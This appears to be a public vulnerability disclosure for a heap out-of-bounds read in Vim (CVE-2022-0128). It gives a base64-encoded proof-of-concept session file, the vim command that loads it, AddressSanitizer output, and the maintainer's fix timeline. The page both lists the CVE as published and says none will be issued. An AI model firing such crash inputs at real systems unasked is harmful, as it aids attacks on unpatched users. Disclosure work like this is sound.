Out-of-bounds Read in vim/vim

Valid Reported on Jan 4th 2022

Description

A heap-based OOB read of size 1 occurs when a user tries to open a vim session file specified below. This happens regardless of any command line options that could be specified to restrict vim, such `-Z` and `-m`. This bug has been found on default vim build (lastest commit hash `9acf2d8be93f3b50607279e7f3484b019675d0a7`) on Ubuntu 20.04 for x86_64/amd64.

Proof of Concept

Steps to reproduce:

Clone the repo and build with ASAN.
Recreate POC session:

```
echo -ne "ZGVmIFMoKQpjYWwKZW5kZApkZWZj" | base64 -d > poc
```

Its content is:

```
def S()
cal
endd
defc
```

Load session:

```
vim -u NONE -X -Z -e -s -S ./poc -c :qa!
```

Sanitizer output:

```
=================================================================
```

```
==14605==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000(
READ of size 1 at 0x602000007474 thread T0
    #0 0x56239fd2affb in compile_def_function /home/octa/vim/src/vim9compil
    #1 0x56239fce7c98 in ex_defcompile /home/octa/vim/src/userfunc.c:4732
    #2 0x56239f4d268f in do_one_cmd /home/octa/vim/src/ex_docmd.c:2570
    #3 0x56239f4c6399 in do_cmdline /home/octa/vim/src/ex_docmd.c:993
    #4 0x56239fa3be29 in do_source /home/octa/vim/src/scriptfile.c:1423
    #5 0x56239fa389f2 in cmd_source /home/octa/vim/src/scriptfile.c:985
    #6 0x56239fa38b76 in ex_source /home/octa/vim/src/scriptfile.c:1011
    #7 0x56239f4d268f in do_one_cmd /home/octa/vim/src/ex_docmd.c:2570
    #8 0x56239f4c6399 in do_cmdline /home/octa/vim/src/ex_docmd.c:993
    #9 0x56239f4c3f56 in do_cmdline_cmd /home/octa/vim/src/ex_docmd.c:587
    #10 0x56239ffb074c in exe_commands /home/octa/vim/src/main.c:3080
    #11 0x56239ffa2293 in vim_main2 /home/octa/vim/src/main.c:774
    #12 0x56239ffa177b in main /home/octa/vim/src/main.c:426
    #13 0x7fd32c3a50b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.
    #14 0x56239f241d9d in _start (/home/octa/vim/src/vim+0x121bd9d)

0x602000007474 is located 0 bytes to the right of 4-byte region [0x60200006
allocated by thread T0 here:
    #0 0x7fd32e33bbc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc
    #1 0x56239f24223e in lalloc /home/octa/vim/src/alloc.c:244
    #2 0x56239f242009 in alloc /home/octa/vim/src/alloc.c:151
    #3 0x56239fb4780b in vim_strsave /home/octa/vim/src/strings.c:27
    #4 0x56239fd2a0e9 in compile_def_function /home/octa/vim/src/vim9compil
    #5 0x56239fce7c98 in ex_defcompile /home/octa/vim/src/userfunc.c:4732
    #6 0x56239f4d268f in do_one_cmd /home/octa/vim/src/ex_docmd.c:2570
    #7 0x56239f4c6399 in do_cmdline /home/octa/vim/src/ex_docmd.c:993
    #8 0x56239fa3be29 in do_source /home/octa/vim/src/scriptfile.c:1423
    #9 0x56239fa389f2 in cmd_source /home/octa/vim/src/scriptfile.c:985
    #10 0x56239fa38b76 in ex_source /home/octa/vim/src/scriptfile.c:1011
    #11 0x56239f4d268f in do_one_cmd /home/octa/vim/src/ex_docmd.c:2570
    #12 0x56239f4c6399 in do_cmdline /home/octa/vim/src/ex_docmd.c:993
    #13 0x56239f4c3f56 in do_cmdline_cmd /home/octa/vim/src/ex_docmd.c:587
    #14 0x56239ffb074c in exe_commands /home/octa/vim/src/main.c:3080
    #15 0x56239ffa2293 in vim_main2 /home/octa/vim/src/main.c:774
    #16 0x56239ffa177b in main /home/octa/vim/src/main.c:426
    #17 0x7fd32c3a50b2 in __libc_start_main (/lib/x86_64-lin

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/octa/vim/src/vim9comp
```

```
Shadow bytes around the buggy address:
  0x0c047fff8e30: fa fa fd fa fa fa fd fa fa fa 06 fa fa fa fd fa
  0x0c047fff8e40: fa fa fd fd fa fa 00 02 fa fa fd fa fa fa fd fa

  0x0c047fff8e50: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff8e60: fa fa 00 00 fa fa 00 00 fa fa 05 fa fa fa 00 02
  0x0c047fff8e70: fa fa 00 07 fa fa fd fd fa fa 00 07 fa fa fd fa
=>0x0c047fff8e80: fa fa fd fa fa fa 04 fa fa fa 02 fa fa fa[04]fa
  0x0c047fff8e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8ea0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8eb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==14605==ABORTING
```

Impact

This vulnerability is capable disclosing data and might lead to bypass protec
facilitating successful exploitation of other memory corruption vulnerabilities that may lead to

code execution.

Acknowledgements

This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

References

- CWE-125: Out-of-bounds Read

CVE
CVE-2022-0128
(Published)

Vulnerability Type
CWE-125: Out-of-bounds Read

Severity
High (7.1)

Visibility
Public

Status
Fixed

Found by

Octavio Gianatiempo
@ogianatiempo
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

We have contacted a member of the **vim** team and are waiting to hear back a year ago

Bram Moolenaar a year ago — Maintainer

I can reproduce it with valgrind. Patch coming soon.

Bram Moolenaar validated this vulnerability a year ago

Octavio Gianatiempo has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar marked this as fixed in **8.2** with commit **d3a117** a year ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Octavio a year ago — Researcher

Thanks for the quick response and fix!

Sign in to join this conversation

leaderboard

FAQ

contact us

terms

privacy policy

team

Chat with us